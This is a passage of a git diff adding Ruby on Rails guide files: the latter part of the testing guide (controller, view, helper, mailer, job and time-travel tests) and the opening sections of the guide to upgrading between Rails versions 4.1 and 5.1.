+If you're familiar with the HTTP protocol, you'll know that `get` is a type of request. There are 6 request types supported in Rails functional tests:
+
+* `get`
+* `post`
+* `patch`
+* `put`
+* `head`
+* `delete`
+
+All of request types have equivalent methods that you can use. In a typical C.R.U.D. application you'll be using `get`, `post`, `put` and `delete` more often.
+
+NOTE: Functional tests do not verify whether the specified request type is accepted by the action, we're more concerned with the result. Request tests exist for this use case to make your tests more purposeful.
+
+### Testing XHR (AJAX) requests
+
+To test AJAX requests, you can specify the `xhr: true` option to `get`, `post`,
+`patch`, `put`, and `delete` methods. For example:
+
+```ruby
+test "ajax request" do
+  article = articles(:one)
+  get article_url(article), xhr: true
+
+  assert_equal 'hello world', @response.body
+  assert_equal "text/javascript", @response.content_type
+end
+```
+
+### The Three Hashes of the Apocalypse
+
+After a request has been made and processed, you will have 3 Hash objects ready for use:
+
+* `cookies` - Any cookies that are set
+* `flash` - Any objects living in the flash
+* `session` - Any object living in session variables
+
+As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name. For example:
+
+```ruby
+flash["gordon"]               flash[:gordon]
+session["shmession"]          session[:shmession]
+cookies["are_good_for_u"]     cookies[:are_good_for_u]
+```
+
+### Instance Variables Available
+
+You also have access to three instance variables in your functional tests, after a request is made:
+
+* `@controller` - The controller processing the request
+* `@request` - The request object
+* `@response` - The response object
+
+
+```ruby
+class ArticlesControllerTest < ActionDispatch::IntegrationTest
+  test "should get index" do
+    get articles_url
+
+    assert_equal "index", @controller.action_name
+    assert_equal "application/x-www-form-urlencoded", @request.media_type
+    assert_match "Articles", @response.body
+  end
+end
+```
+
+### Setting Headers and CGI variables
+
+[HTTP headers](http://tools.ietf.org/search/rfc2616#section-5.3)
+and
+[CGI variables](http://tools.ietf.org/search/rfc3875#section-4.1)
+can be passed as headers:
+
+```ruby
+# setting an HTTP Header
+get articles_url, headers: { "Content-Type": "text/plain" } # simulate the request with custom header
+
+# setting a CGI variable
+get articles_url, headers: { "HTTP_REFERER": "http://example.com/home" } # simulate the request with custom env variable
+```
+
+### Testing `flash` notices
+
+If you remember from earlier, one of the Three Hashes of the Apocalypse was `flash`.
+
+We want to add a `flash` message to our blog application whenever someone
+successfully creates a new Article.
+
+Let's start by adding this assertion to our `test_should_create_article` test:
+
+```ruby
+test "should create article" do
+  assert_difference('Article.count') do
+    post article_url, params: { article: { title: 'Some title' } }
+  end
+
+  assert_redirected_to article_path(Article.last)
+  assert_equal 'Article was successfully created.', flash[:notice]
+end
+```
+
+If we run our test now, we should see a failure:
+
+```bash
+$ bin/rails test test/controllers/articles_controller_test.rb -n test_should_create_article
+Run options: -n test_should_create_article --seed 32266
+
+# Running:
+
+F
+
+Finished in 0.114870s, 8.7055 runs/s, 34.8220 assertions/s.
+
+  1) Failure:
+ArticlesControllerTest#test_should_create_article [/test/controllers/articles_controller_test.rb:16]:
+--- expected
++++ actual
+@@ -1 +1 @@
+-"Article was successfully created."
++nil
+
+1 runs, 4 assertions, 1 failures, 0 errors, 0 skips
+```
+
+Let's implement the flash message now in our controller. Our `:create` action should now look like this:
+
+```ruby
+def create
+  @article = Article.new(article_params)
+
+  if @article.save
+    flash[:notice] = 'Article was successfully created.'
+    redirect_to @article
+  else
+    render 'new'
+  end
+end
+```
+
+Now if we run our tests, we should see it pass:
+
+```bash
+$ bin/rails test test/controllers/articles_controller_test.rb -n test_should_create_article
+Run options: -n test_should_create_article --seed 18981
+
+# Running:
+
+.
+
+Finished in 0.081972s, 12.1993 runs/s, 48.7972 assertions/s.
+
+1 runs, 4 assertions, 0 failures, 0 errors, 0 skips
+```
+
+### Putting it together
+
+At this point our Articles controller tests the `:index` as well as `:new` and `:create` actions. What about dealing with existing data?
+
+Let's write a test for the `:show` action:
+
+```ruby
+test "should show article" do
+  article = articles(:one)
+  get article_url(article)
+  assert_response :success
+end
+```
+
+Remember from our discussion earlier on fixtures, the `articles()` method will give us access to our Articles fixtures.
+
+How about deleting an existing Article?
+
+```ruby
+test "should destroy article" do
+  article = articles(:one)
+  assert_difference('Article.count', -1) do
+    delete article_url(article)
+  end
+
+  assert_redirected_to articles_path
+end
+```
+
+We can also add a test for updating an existing Article.
+
+```ruby
+test "should update article" do
+  article = articles(:one)
+
+  patch article_url(article), params: { article: { title: "updated" } }
+
+  assert_redirected_to article_path(article)
+  # Reload association to fetch updated data and assert that title is updated.
+  article.reload
+  assert_equal "updated", article.title
+end
+```
+
+Notice we're starting to see some duplication in these three tests, they both access the same Article fixture data. We can D.R.Y. this up by using the `setup` and `teardown` methods provided by `ActiveSupport::Callbacks`.
+
+Our test should now look something as what follows. Disregard the other tests for now, we're leaving them out for brevity.
+
+```ruby
+require 'test_helper'
+
+class ArticlesControllerTest < ActionDispatch::IntegrationTest
+  # called before every single test
+  setup do
+    @article = articles(:one)
+  end
+
+  # called after every single test
+  teardown do
+    # when controller is using cache it may be a good idea to reset it afterwards
+    Rails.cache.clear
+  end
+
+  test "should show article" do
+    # Reuse the @article instance variable from setup
+    get article_url(@article)
+    assert_response :success
+  end
+
+  test "should destroy article" do
+    assert_difference('Article.count', -1) do
+      delete article_url(@article)
+    end
+
+    assert_redirected_to articles_path
+  end
+
+  test "should update article" do
+    patch article_url(@article), params: { article: { title: "updated" } }
+
+    assert_redirected_to article_path(@article)
+    # Reload association to fetch updated data and assert that title is updated.
+    @article.reload
+    assert_equal "updated", @article.title
+  end
+end
+```
+
+Similar to other callbacks in Rails, the `setup` and `teardown` methods can also be used by passing a block, lambda, or method name as a symbol to call.
+
+### Test helpers
+
+To avoid code duplication, you can add your own test helpers.
+Sign in helper can be a good example:
+
+```ruby
+# test/test_helper.rb
+
+module SignInHelper
+  def sign_in_as(user)
+    post sign_in_url(email: user.email, password: user.password)
+  end
+end
+
+class ActionDispatch::IntegrationTest
+  include SignInHelper
+end
+```
+
+```ruby
+require 'test_helper'
+
+class ProfileControllerTest < ActionDispatch::IntegrationTest
+
+  test "should show profile" do
+    # helper is now reusable from any controller test case
+    sign_in_as users(:david)
+
+    get profile_url
+    assert_response :success
+  end
+end
+```
+
+Testing Routes
+--------------
+
+Like everything else in your Rails application, you can test your routes. Route tests reside in `test/controllers/` or are part of controller tests.
+
+NOTE: If your application has complex routes, Rails provides a number of useful helpers to test them.
+
+For more information on routing assertions available in Rails, see the API documentation for [`ActionDispatch::Assertions::RoutingAssertions`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html).
+
+Testing Views
+-------------
+
+Testing the response to your request by asserting the presence of key HTML elements and their content is a common way to test the views of your application. Like route tests, view tests reside in `test/controllers/` or are part of controller tests. The `assert_select` method allows you to query HTML elements of the response by using a simple yet powerful syntax.
+
+There are two forms of `assert_select`:
+
+`assert_select(selector, [equality], [message])` ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String) or an expression with substitution values.
+
+`assert_select(element, selector, [equality], [message])` ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of `Nokogiri::XML::Node` or `Nokogiri::XML::NodeSet`) and its descendants.
+
+For example, you could verify the contents on the title element in your response with:
+
+```ruby
+assert_select 'title', "Welcome to Rails Testing Guide"
+```
+
+You can also use nested `assert_select` blocks for deeper investigation.
+
+In the following example, the inner `assert_select` for `li.menu_item` runs
+within the collection of elements selected by the outer block:
+
+```ruby
+assert_select 'ul.navigation' do
+  assert_select 'li.menu_item'
+end
+```
+
+A collection of selected elements may be iterated through so that `assert_select` may be called separately for each element.
+
+For example if the response contains two ordered lists, each with four nested list elements then the following tests will both pass.
+
+```ruby
+assert_select "ol" do |elements|
+  elements.each do |element|
+    assert_select element, "li", 4
+  end
+end
+
+assert_select "ol" do
+  assert_select "li", 8
+end
+```
+
+This assertion is quite powerful. For more advanced usage, refer to its [documentation](https://github.com/rails/rails-dom-testing/blob/master/lib/rails/dom/testing/assertions/selector_assertions.rb).
+
+#### Additional View-Based Assertions
+
+There are more assertions that are primarily used in testing views:
+
+| Assertion                                                 | Purpose |
+| --------------------------------------------------------- | ------- |
+| `assert_select_email`                                     | Allows you to make assertions on the body of an e-mail. |
+| `assert_select_encoded`                                   | Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.|
+| `css_select(selector)` or `css_select(element, selector)` | Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.|
+
+Here's an example of using `assert_select_email`:
+
+```ruby
+assert_select_email do
+  assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.'
+end
+```
+
+Testing Helpers
+---------------
+
+A helper is just a simple module where you can define methods which are
+available into your views.
+
+In order to test helpers, all you need to do is check that the output of the
+helper method matches what you'd expect. Tests related to the helpers are
+located under the `test/helpers` directory.
+
+Given we have the following helper:
+
+```ruby
+module UserHelper
+  def link_to_user(user)
+    link_to "#{user.first_name} #{user.last_name}", user
+  end
+end
+```
+
+We can test the output of this method like this:
+
+```ruby
+class UserHelperTest < ActionView::TestCase
+  test "should return the user's full name" do
+    user = users(:david)
+
+    assert_dom_equal %{<a href="/user/#{user.id}">David Heinemeier Hansson</a>}, link_to_user(user)
+  end
+end
+```
+
+Moreover, since the test class extends from `ActionView::TestCase`, you have
+access to Rails' helper methods such as `link_to` or `pluralize`.
+
+Testing Your Mailers
+--------------------
+
+Testing mailer classes requires some specific tools to do a thorough job.
+
+### Keeping the Postman in Check
+
+Your mailer classes - like every other part of your Rails application - should be tested to ensure that they are working as expected.
+
+The goals of testing your mailer classes are to ensure that:
+
+* emails are being processed (created and sent)
+* the email content is correct (subject, sender, body, etc)
+* the right emails are being sent at the right times
+
+#### From All Sides
+
+There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a known value (a fixture.) In the functional tests you don't so much test the minute details produced by the mailer; instead, we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.
+
+### Unit Testing
+
+In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.
+
+#### Revenge of the Fixtures
+
+For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output _should_ look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within `test/fixtures` directly corresponds to the name of the mailer. So, for a mailer named `UserMailer`, the fixtures should reside in `test/fixtures/user_mailer` directory.
+
+If you generated your mailer, the generator does not create stub fixtures for the mailers actions. You'll have to create those files yourself as described above.
+
+#### The Basic Test Case
+
+Here's a unit test to test a mailer named `UserMailer` whose action `invite` is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an `invite` action.
+
+```ruby
+require 'test_helper'
+
+class UserMailerTest < ActionMailer::TestCase
+  test "invite" do
+    # Create the email and store it for further assertions
+    email = UserMailer.create_invite('me@example.com',
+                                     'friend@example.com', Time.now)
+
+    # Send the email, then test that it got queued
+    assert_emails 1 do
+      email.deliver_now
+    end
+
+    # Test the body of the sent email contains what we expect it to
+    assert_equal ['me@example.com'], email.from
+    assert_equal ['friend@example.com'], email.to
+    assert_equal 'You have been invited by me@example.com', email.subject
+    assert_equal read_fixture('invite').join, email.body.to_s
+  end
+end
+```
+
+In the test we send the email and store the returned object in the `email`
+variable. We then ensure that it was sent (the first assert), then, in the
+second batch of assertions, we ensure that the email does indeed contain what we
+expect. The helper `read_fixture` is used to read in the content from this file.
+
+NOTE: `email.body.to_s` is present when there's only one (HTML or text) part present.
+If the mailer provides both, you can test your fixture against specific parts
+with `email.text_part.body.to_s` or `email.html_part.body.to_s`.
+
+Here's the content of the `invite` fixture:
+
+```
+Hi friend@example.com,
+
+You have been invited.
+
+Cheers!
+```
+
+This is the right time to understand a little more about writing tests for your
+mailers. The line `ActionMailer::Base.delivery_method = :test` in
+`config/environments/test.rb` sets the delivery method to test mode so that
+email will not actually be delivered (useful to avoid spamming your users while
+testing) but instead it will be appended to an array
+(`ActionMailer::Base.deliveries`).
+
+NOTE: The `ActionMailer::Base.deliveries` array is only reset automatically in
+`ActionMailer::TestCase` and `ActionDispatch::IntegrationTest` tests.
+If you want to have a clean slate outside these test cases, you can reset it
+manually with: `ActionMailer::Base.deliveries.clear`
+
+### Functional Testing
+
+Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job. You are probably more interested in whether your own business logic is sending emails when you expect them to go out. For example, you can check that the invite friend operation is sending an email appropriately:
+
+```ruby
+require 'test_helper'
+
+class UserControllerTest < ActionDispatch::IntegrationTest
+  test "invite friend" do
+    assert_difference 'ActionMailer::Base.deliveries.size', +1 do
+      post invite_friend_url, params: { email: 'friend@example.com' }
+    end
+    invite_email = ActionMailer::Base.deliveries.last
+
+    assert_equal "You have been invited by me@example.com", invite_email.subject
+    assert_equal 'friend@example.com', invite_email.to[0]
+    assert_match(/Hi friend@example\.com/, invite_email.body.to_s)
+  end
+end
+```
+
+Testing Jobs
+------------
+
+Since your custom jobs can be queued at different levels inside your application,
+you'll need to test both, the jobs themselves (their behavior when they get enqueued)
+and that other entities correctly enqueue them.
+
+### A Basic Test Case
+
+By default, when you generate a job, an associated test will be generated as well
+under the `test/jobs` directory. Here's an example test with a billing job:
+
+```ruby
+require 'test_helper'
+
+class BillingJobTest < ActiveJob::TestCase
+  test 'that account is charged' do
+    BillingJob.perform_now(account, product)
+    assert account.reload.charged_for?(product)
+  end
+end
+```
+
+This test is pretty simple and only asserts that the job get the work done
+as expected.
+
+By default, `ActiveJob::TestCase` will set the queue adapter to `:test` so that
+your jobs are performed inline. It will also ensure that all previously performed
+and enqueued jobs are cleared before any test run so you can safely assume that
+no jobs have already been executed in the scope of each test.
+
+### Custom Assertions And Testing Jobs Inside Other Components
+
+Active Job ships with a bunch of custom assertions that can be used to lessen the verbosity of tests. For a full list of available assertions, see the API documentation for [`ActiveJob::TestHelper`](http://api.rubyonrails.org/classes/ActiveJob/TestHelper.html).
+
+It's a good practice to ensure that your jobs correctly get enqueued or performed
+wherever you invoke them (e.g. inside your controllers). This is precisely where
+the custom assertions provided by Active Job are pretty useful. For instance,
+within a model:
+
+```ruby
+require 'test_helper'
+
+class ProductTest < ActiveJob::TestCase
+  test 'billing job scheduling' do
+    assert_enqueued_with(job: BillingJob) do
+      product.charge(account)
+    end
+  end
+end
+```
+
+Additional Testing Resources
+----------------------------
+
+### Testing Time-Dependent Code
+
+Rails provides built-in helper methods that enable you to assert that your time-sensitive code works as expected.
+
+Here is an example using the [`travel_to`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/TimeHelpers.html#method-i-travel_to) helper:
+
+```ruby
+# Lets say that a user is eligible for gifting a month after they register.
+user = User.create(name: 'Gaurish', activation_date: Date.new(2004, 10, 24))
+assert_not user.applicable_for_gifting?
+travel_to Date.new(2004, 11, 24) do
+  assert_equal Date.new(2004, 10, 24), user.activation_date # inside the `travel_to` block `Date.current` is mocked
+  assert user.applicable_for_gifting?
+end
+assert_equal Date.new(2004, 10, 24), user.activation_date # The change was visible only inside the `travel_to` block.
+```
+
+Please see [`ActiveSupport::Testing::TimeHelpers` API Documentation](http://api.rubyonrails.org/classes/ActiveSupport/Testing/TimeHelpers.html)
+for in-depth information about the available time helpers.
diff --git a/guides/source/upgrading_ruby_on_rails.md b/guides/source/upgrading_ruby_on_rails.md
new file mode 100644
index 0000000000..6e927d7244
--- /dev/null
+++ b/guides/source/upgrading_ruby_on_rails.md
@@ -0,0 +1,1543 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+A Guide for Upgrading Ruby on Rails
+===================================
+
+This guide provides steps to be followed when you upgrade your applications to a newer version of Ruby on Rails. These steps are also available in individual release guides.
+
+--------------------------------------------------------------------------------
+
+General Advice
+--------------
+
+Before attempting to upgrade an existing application, you should be sure you have a good reason to upgrade. You need to balance several factors: the need for new features, the increasing difficulty of finding support for old code, and your available time and skills, to name a few.
+
+### Test Coverage
+
+The best way to be sure that your application still works after upgrading is to have good test coverage before you start the process. If you don't have automated tests that exercise the bulk of your application, you'll need to spend time manually exercising all the parts that have changed. In the case of a Rails upgrade, that will mean every single piece of functionality in the application. Do yourself a favor and make sure your test coverage is good _before_ you start an upgrade.
+
+### The Upgrade Process
+
+When changing Rails versions, it's best to move slowly, one minor version at a time, in order to make good use of the deprecation warnings. Rails version numbers are in the form Major.Minor.Patch. Major and Minor versions are allowed to make changes to the public API, so this may cause errors in your application. Patch versions only include bug fixes, and don't change any public API.
+
+The process should go as follows:
+
+1. Write tests and make sure they pass.
+2. Move to the latest patch version after your current version.
+3. Fix tests and deprecated features.
+4. Move to the latest patch version of the next minor version.
+
+Repeat this process until you reach your target Rails version. Each time you move versions, you will need to change the Rails version number in the Gemfile (and possibly other gem versions) and run `bundle update`. Then run the Update task mentioned below to update configuration files, then run your tests.
+
+You can find a list of all released Rails versions [here](https://rubygems.org/gems/rails/versions).
+
+### Ruby Versions
+
+Rails generally stays close to the latest released Ruby version when it's released:
+
+* Rails 5 requires Ruby 2.2.2 or newer.
+* Rails 4 prefers Ruby 2.0 and requires 1.9.3 or newer.
+* Rails 3.2.x is the last branch to support Ruby 1.8.7.
+* Rails 3 and above require Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially. You should upgrade as early as possible.
+
+TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump straight to 1.9.3 for smooth sailing.
+
+### The Update Task
+
+Rails provides the `app:update` task (`rake rails:update` on 4.2 and earlier). After updating the Rails version
+in the Gemfile, run this task.
+This will help you with the creation of new files and changes of old files in an
+interactive session.
+
+```bash
+$ rails app:update
+   identical  config/boot.rb
+       exist  config
+    conflict  config/routes.rb
+Overwrite /myapp/config/routes.rb? (enter "h" for help) [Ynaqdh]
+       force  config/routes.rb
+    conflict  config/application.rb
+Overwrite /myapp/config/application.rb? (enter "h" for help) [Ynaqdh]
+       force  config/application.rb
+    conflict  config/environment.rb
+...
+```
+
+Don't forget to review the difference, to see if there were any unexpected changes.
+
+Upgrading from Rails 5.0 to Rails 5.1
+-------------------------------------
+
+For more information on changes made to Rails 5.1 please see the [release notes](5_1_release_notes.html).
+
+### Top-level `HashWithIndifferentAccess` is soft-deprecated
+
+If your application uses the the top-level `HashWithIndifferentAccess` class, you
+should slowly move your code to instead use `ActiveSupport::HashWithIndifferentAccess`.
+
+It is only soft-deprecated, which means that your code will not break at the
+moment and no deprecation warning will be displayed, but this constant will be
+removed in the future.
+
+Also, if you have pretty old YAML documents containing dumps of such objects,
+you may need to load and dump them again to make sure that they reference
+the right constant, and that loading them won't break in the future.
+
+### `application.secrets` now loaded with all keys as symbols
+
+If your application stores nested configuration in `config/secrets.yml`, all keys
+are now loaded as symbols, so access using strings should be changed.
+
+From:
+
+```ruby
+Rails.application.secrets[:smtp_settings]["address"]
+```
+
+To:
+
+```ruby
+Rails.application.secrets[:smtp_settings][:address]
+```
+
+Upgrading from Rails 4.2 to Rails 5.0
+-------------------------------------
+
+For more information on changes made to Rails 5.0 please see the [release notes](5_0_release_notes.html).
+
+### Ruby 2.2.2+ required
+
+From Ruby on Rails 5.0 onwards, Ruby 2.2.2+ is the only supported Ruby version.
+Make sure you are on Ruby 2.2.2 version or greater, before you proceed.
+
+### Active Record Models Now Inherit from ApplicationRecord by Default
+
+In Rails 4.2, an Active Record model inherits from `ActiveRecord::Base`. In Rails 5.0,
+all models inherit from `ApplicationRecord`.
+
+`ApplicationRecord` is a new superclass for all app models, analogous to app
+controllers subclassing `ApplicationController` instead of
+`ActionController::Base`. This gives apps a single spot to configure app-wide
+model behavior.
+
+When upgrading from Rails 4.2 to Rails 5.0, you need to create an
+`application_record.rb` file in `app/models/` and add the following content:
+
+```
+class ApplicationRecord < ActiveRecord::Base
+  self.abstract_class = true
+end
+```
+
+Then make sure that all your models inherit from it.
+
+### Halting Callback Chains via `throw(:abort)`
+
+In Rails 4.2, when a 'before' callback returns `false` in Active Record
+and Active Model, then the entire callback chain is halted. In other words,
+successive 'before' callbacks are not executed, and neither is the action wrapped
+in callbacks.
+
+In Rails 5.0, returning `false` in an Active Record or Active Model callback
+will not have this side effect of halting the callback chain. Instead, callback
+chains must be explicitly halted by calling `throw(:abort)`.
+
+When you upgrade from Rails 4.2 to Rails 5.0, returning `false` in those kind of
+callbacks will still halt the callback chain, but you will receive a deprecation
+warning about this upcoming change.
+
+When you are ready, you can opt into the new behavior and remove the deprecation
+warning by adding the following configuration to your `config/application.rb`:
+
+    ActiveSupport.halt_callback_chains_on_return_false = false
+
+Note that this option will not affect Active Support callbacks since they never
+halted the chain when any value was returned.
+
+See [#17227](https://github.com/rails/rails/pull/17227) for more details.
+
+### ActiveJob Now Inherits from ApplicationJob by Default
+
+In Rails 4.2, an Active Job inherits from `ActiveJob::Base`. In Rails 5.0, this
+behavior has changed to now inherit from `ApplicationJob`.
+
+When upgrading from Rails 4.2 to Rails 5.0, you need to create an
+`application_job.rb` file in `app/jobs/` and add the following content:
+
+```
+class ApplicationJob < ActiveJob::Base
+end
+```
+
+Then make sure that all your job classes inherit from it.
+
+See [#19034](https://github.com/rails/rails/pull/19034) for more details.
+
+### Rails Controller Testing
+
+#### Extraction of some helper methods to `rails-controller-testing`
+
+`assigns` and `assert_template` have been extracted to the `rails-controller-testing` gem. To
+continue using these methods in your controller tests, add `gem 'rails-controller-testing'` to
+your Gemfile.
+
+If you are using Rspec for testing, please see the extra configuration required in the gem's
+documentation.
+
+#### New behavior when uploading files
+
+If you are using `ActionDispatch::Http::UploadedFile` in your tests to
+upload files, you will need to change to use the similar `Rack::Test::UploadedFile`
+class instead.
+
+See [#26404](https://github.com/rails/rails/issues/26404) for more details.
+
+### Autoloading is Disabled After Booting in the Production Environment
+
+Autoloading is now disabled after booting in the production environment by
+default.
+
+Eager loading the application is part of the boot process, so top-level
+constants are fine and are still autoloaded, no need to require their files.
+
+Constants in deeper places only executed at runtime, like regular method bodies,
+are also fine because the file defining them will have been eager loaded while booting.
+
+For the vast majority of applications this change needs no action. But in the
+very rare event that your application needs autoloading while running in
+production mode, set `Rails.application.config.enable_dependency_loading` to
+true.
+
+### XML Serialization
+
+`ActiveModel::Serializers::Xml` has been extracted from Rails to the `activemodel-serializers-xml`
+gem. To continue using XML serialization in your application, add `gem 'activemodel-serializers-xml'`
+to your Gemfile.
+
+### Removed Support for Legacy `mysql` Database Adapter
+
+Rails 5 removes support for the legacy `mysql` database adapter. Most users should be able to
+use `mysql2` instead. It will be converted to a separate gem when we find someone to maintain
+it.
+
+### Removed Support for Debugger
+
+`debugger` is not supported by Ruby 2.2 which is required by Rails 5. Use `byebug` instead.
+
+### Use bin/rails for running tasks and tests
+
+Rails 5 adds the ability to run tasks and tests through `bin/rails` instead of rake. Generally
+these changes are in parallel with rake, but some were ported over altogether.
+
+To use the new test runner simply type `bin/rails test`.
+
+`rake dev:cache` is now `rails dev:cache`.
+
+Run `bin/rails` to see the list of commands available.
+
+### `ActionController::Parameters` No Longer Inherits from `HashWithIndifferentAccess`
+
+Calling `params` in your application will now return an object instead of a hash. If your
+parameters are already permitted, then you will not need to make any changes. If you are using `map`
+and other methods that depend on being able to read the hash regardless of `permitted?` you will
+need to upgrade your application to first permit and then convert to a hash.
+
+    params.permit([:proceed_to, :return_to]).to_h
+
+### `protect_from_forgery` Now Defaults to `prepend: false`
+
+`protect_from_forgery` defaults to `prepend: false` which means that it will be inserted into
+the callback chain at the point in which you call it in your application. If you want
+`protect_from_forgery` to always run first, then you should change your application to use
+`protect_from_forgery prepend: true`.
+
+### Default Template Handler is Now RAW
+
+Files without a template handler in their extension will be rendered using the raw handler.
+Previously Rails would render files using the ERB template handler.
+
+If you do not want your file to be handled via the raw handler, you should add an extension
+to your file that can be parsed by the appropriate template handler.
+
+### Added Wildcard Matching for Template Dependencies
+
+You can now use wildcard matching for your template dependencies. For example, if you were
+defining your templates as such:
+
+```erb
+<% # Template Dependency: recordings/threads/events/subscribers_changed %>
+<% # Template Dependency: recordings/threads/events/completed %>
+<% # Template Dependency: recordings/threads/events/uncompleted %>
+```
+
+You can now just call the dependency once with a wildcard.
+
+```erb
+<% # Template Dependency: recordings/threads/events/* %>
+```
+
+### `ActionView::Helpers::RecordTagHelper` moved to external gem (record_tag_helper)
+
+`content_tag_for` and `div_for` has been removed in favor of just using `content_tag`. To continue using it, add the `record_tag_helper` gem to your Gemfile:
+
+```ruby
+gem 'record_tag_helper', '~> 1.0'
+```
+
+See [#18411](https://github.com/rails/rails/pull/18411) for more details.
+
+### Removed Support for `protected_attributes` Gem
+
+The `protected_attributes` gem is no longer supported in Rails 5.
+
+### Removed support for `activerecord-deprecated_finders` gem
+
+The `activerecord-deprecated_finders` gem is no longer supported in Rails 5.
+
+### `ActiveSupport::TestCase` Default Test Order is Now Random
+
+When tests are run in your application, the default order is now `:random`
+instead of `:sorted`. Use the following config option to set it back to `:sorted`.
+
+```ruby
+# config/environments/test.rb
+Rails.application.configure do
+  config.active_support.test_order = :sorted
+end
+```
+
+### `ActionController::Live` became a `Concern`
+
+If you include `ActionController::Live` in another module that is included in your controller, then you
+should also extend the module with `ActiveSupport::Concern`. Alternatively, you can use the `self.included` hook
+to include `ActionController::Live` directly to the controller once the `StreamingSupport` is included.
+
+This means that if your application used to have its own streaming module, the following code
+would break in production mode:
+
+```ruby
+# This is a work-around for streamed controllers performing authentication with Warden/Devise.
+# See https://github.com/plataformatec/devise/issues/2332
+# Authenticating in the router is another solution as suggested in that issue
+class StreamingSupport
+  include ActionController::Live # this won't work in production for Rails 5
+  # extend ActiveSupport::Concern # unless you uncomment this line.
+
+  def process(name)
+    super(name)
+  rescue ArgumentError => e
+    if e.message == 'uncaught throw :warden'
+      throw :warden
+    else
+      raise e
+    end
+  end
+end
+```
+
+### New Framework Defaults
+
+#### Active Record `belongs_to` Required by Default Option
+
+`belongs_to` will now trigger a validation error by default if the association is not present.
+
+This can be turned off per-association with `optional: true`.
+
+This default will be automatically configured in new applications. If existing application
+want to add this feature it will need to be turned on in an initializer.
+
+    config.active_record.belongs_to_required_by_default = true
+
+#### Per-form CSRF Tokens
+
+Rails 5 now supports per-form CSRF tokens to mitigate against code-injection attacks with forms
+created by JavaScript. With this option turned on, forms in your application will each have their
+own CSRF token that is specified to the action and method for that form.
+
+    config.action_controller.per_form_csrf_tokens = true
+
+#### Forgery Protection with Origin Check
+
+You can now configure your application to check if the HTTP `Origin` header should be checked
+against the site's origin as an additional CSRF defense. Set the following in your config to
+true:
+
+    config.action_controller.forgery_protection_origin_check = true
+
+#### Allow Configuration of Action Mailer Queue Name
+
+The default mailer queue name is `mailers`. This configuration option allows you to globally change
+the queue name. Set the following in your config:
+
+    config.action_mailer.deliver_later_queue_name = :new_queue_name
+
+#### Support Fragment Caching in Action Mailer Views
+
+Set `config.action_mailer.perform_caching` in your config to determine whether your Action Mailer views
+should support caching.
+
+    config.action_mailer.perform_caching = true
+
+#### Configure the Output of `db:structure:dump`
+
+If you're using `schema_search_path` or other PostgreSQL extensions, you can control how the schema is
+dumped. Set to `:all` to generate all dumps, or to `:schema_search_path` to generate from schema search path.
+
+    config.active_record.dump_schemas = :all
+
+#### Configure SSL Options to Enable HSTS with Subdomains
+
+Set the following in your config to enable HSTS when using subdomains:
+
+    config.ssl_options = { hsts: { subdomains: true } }
+
+#### Preserve Timezone of the Receiver
+
+When using Ruby 2.4, you can preserve the timezone of the receiver when calling `to_time`.
+
+    ActiveSupport.to_time_preserves_timezone = false
+
+Upgrading from Rails 4.1 to Rails 4.2
+-------------------------------------
+
+### Web Console
+
+First, add `gem 'web-console', '~> 2.0'` to the `:development` group in your Gemfile and run `bundle install` (it won't have been included when you upgraded Rails). Once it's been installed, you can simply drop a reference to the console helper (i.e., `<%= console %>`) into any view you want to enable it for. A console will also be provided on any error page you view in your development environment.
+
+### Responders
+
+`respond_with` and the class-level `respond_to` methods have been extracted to the `responders` gem. To use them, simply add `gem 'responders', '~> 2.0'` to your Gemfile. Calls to `respond_with` and `respond_to` (again, at the class level) will no longer work without having included the `responders` gem in your dependencies:
+
+```ruby
+# app/controllers/users_controller.rb
+
+class UsersController < ApplicationController
+  respond_to :html, :json
+
+  def show
+    @user = User.find(params[:id])
+    respond_with @user
+  end
+end
+```
+
+Instance-level `respond_to` is unaffected and does not require the additional gem:
+
+```ruby
+# app/controllers/users_controller.rb
+
+class UsersController < ApplicationController
+  def show
+    @user = User.find(params[:id])
+    respond_to do |format|
+      format.html
+      format.json { render json: @user }
+    end
+  end
+end
+```
+
+See [#16526](https://github.com/rails/rails/pull/16526) for more details.
+
+### Error handling in transaction callbacks
+
+Currently, Active Record suppresses errors raised
+within `after_rollback` or `after_commit` callbacks and only prints them to
+the logs. In the next version, these errors will no longer be suppressed.
+Instead, the errors will propagate normally just like in other Active
+Record callbacks.
+
+When you define an `after_rollback` or `after_commit` callback, you
+will receive a deprecation warning about this upcoming change. When
+you are ready, you can opt into the new behavior and remove the
+deprecation warning by adding following configuration to your
+`config/application.rb`:
+
+    config.active_record.raise_in_transactional_callbacks = true
+
+See [#14488](https://github.com/rails/rails/pull/14488) and
+[#16537](https://github.com/rails/rails/pull/16537) for more details.
+
+### Ordering of test cases
+
+In Rails 5.0, test cases will be executed in random order by default. In
+anticipation of this change, Rails 4.2 introduced a new configuration option
+`active_support.test_order` for explicitly specifying the test ordering. This
+allows you to either lock down the current behavior by setting the option to
+`:sorted`, or opt into the future behavior by setting the option to `:random`.
+
